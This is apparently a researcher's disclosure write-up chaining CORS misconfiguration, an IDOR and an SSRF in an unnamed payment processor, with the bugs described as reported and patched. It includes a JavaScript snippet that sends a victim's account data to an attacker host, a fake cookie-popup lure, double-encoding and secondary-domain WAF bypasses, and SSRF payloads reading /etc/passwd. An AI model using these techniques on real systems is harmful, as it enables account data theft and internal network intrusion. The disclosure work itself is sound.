Insufficient Funds (for Security): Chaining CORS Misconfiguration, IDOR, and SSRF in a Consumer Payment Processor
Payment processors occupy an unusual position in the security landscape — and honestly, it’s worth sitting with why that is. They handle real money, so there’s genuine regulatory pressure to get security right. PCI DSS, SOC 2, penetration testing requirements — the compliance overhead is substantial. And yet the platforms people actually use to sell digital goods — game items, software, niche products — are frequently built by small teams moving fast. Compliance paperwork and actual security posture don’t always point in the same direction. That gap is load-bearing. It’s where these vulnerabilities live.
The platform in this writeup is one you’d likely recognize if you’ve bought anything in certain gaming communities. I’m not naming it. What I keep coming back to is the pattern: what follows are three vulnerabilities I found, each significant on its own, more dangerous together — a comprehensive chain that compounds in ways the individual findings don’t reveal.
Vulnerability 1 — CORS Misconfiguration
This was the most immediately obvious finding — and the tell was visible without any active testing at all. Two response headers surfaced it:
Access-Control-Allow-Origin: echoing back the incomingOriginheader verbatim (rather than specifying an explicit allowlist)Access-Control-Allow-Credentials: true

When both of these are misconfigured together, the consequence is not subtle — it’s a holistic failure of the same-origin policy. Any website can make credentialed cross-origin requests to the API and read the responses. The attacker’s flow:
- Register a domain you control.
- Host a page with something like this:
const rl = () => { location='http://lololol.com/grabber?hi='+this.responseText; };
var r = new XMLHttpRequest();
r.onload = rl;
r.withCredentials = true;
r.open('get','https://www.payment.com/blah/blah/redacted/getUserInfo', true);
r.send();
- Add a social engineering hook — a fake “accept cookies” popup that forces a user click — to foster a context where the victim’s browser has sent their session cookies.
- The API responds with the victim’s account data. Exfiltrate it to your server.
Testing against an alt account confirmed it worked seamlessly:

Against a developer account with more permissions, this becomes a meaningful pivot point. Patched.
Vulnerability 2 — IDOR via Double-Encoded Path Traversal
This one came from diving through the platform’s frontend JavaScript, which helpfully documented many of their internal API routes. One of them — /api/user/loginHistory/getHistory — was a deprecated endpoint they’d stopped surfacing in the UI but hadn’t removed from the server. Worth noting: this is a recurring pattern. Dead endpoints don’t vanish. They quietly persist.
Visiting it directly hit a WAF rule. Bypassing the WAF took about thirty seconds: double-encoding the slash gave /api/user/loginHistory/%252FgetHistory, which sailed through and returned my own login history — email address, IP addresses, last login location.

The right question was obvious: what if I changed the user identifier in the path? Some experimentation found the correct URL shape:
/api/user/loginHistory/%252F114324
That returned another user’s full account information. Iterating user IDs returned a different user’s data each time. It’s not just an IDOR — it’s a paradigm shift in what “access control” means here: there is none.
Calling this endpoint repeatedly triggered their WAF — on their primary domain. They had multiple domains pointing at the same backend, and only one had WAF rules configured. Testing through the secondary domain bypassed the rate limiting entirely, and I could enumerate user data freely. The WAF was doing the heavy lifting of providing a false sense of security rather than actual protection.
Reported and patched quickly.
Vulnerability 3 — SSRF with Internal Network Probing
The platform allowed users to set a profile picture via URL. The feature seemed to fetch the remote image server-side to validate the content type. Testing with a Burp Collaborator URL confirmed it:
{"pfpUrl": "http://blahblah.oast.fun"}
The platform’s server made an outbound request to my Collaborator instance. Here’s where it gets interesting — and I want to double-click on the chain here, because it compounds significantly. The first obvious question: can this reach internal addresses?
Trying http://192.168.x.x caused the request to hang — plausible, but no useful response. Then I tried something slightly more interesting:
{
"pfpUrl": [
"http://asdfasdf.oast.fun",
"http://192.168.1.1",
"file:///etc/passwd"
]
}
Passing the field as an array shouldn’t have worked — the API clearly expected a string — but it did. Both Collaborator addresses fired, and the file:// URI caused the request to freeze for a long time before returning a 400. Something was trying to process it.
The useful discovery came from timing analysis — and this is the pivotal observation that transforms this from “interesting curiosity” to “viable internal network reconnaissance primitive.” Testing different private IP ranges, the 172.16.0.0/12 range returned responses significantly faster than others — consistent with those addresses being reachable internally. With rebind for DNS rebinding (to navigate basic SSRF protections that check the resolved address at validation time but not at request time), the path toward comprehensively mapping their internal network was open.
I didn’t complete the full exploitation — the vulnerability was patched shortly after I reported it — but the combination of array injection bypassing type validation, file:// URI support, and fast responses for internal ranges made this a robust internal network reconnaissance primitive.
The platform’s overall security posture was better than average for its category — no “is admin” flag in localStorage, reasonable JWT handling. These three bugs were found in a few hours of testing. The CORS misconfiguration alone would have been enough for a serious account hijacking campaign. Together, they’re a holistic path to account takeover at scale, internal network mapping, and potentially a foothold on backend infrastructure. The throughline: each bug leverages the next, and the whole thing is greater than the sum of its parts.
Please add Monero payments, you already support Bitcoin and Litecoin.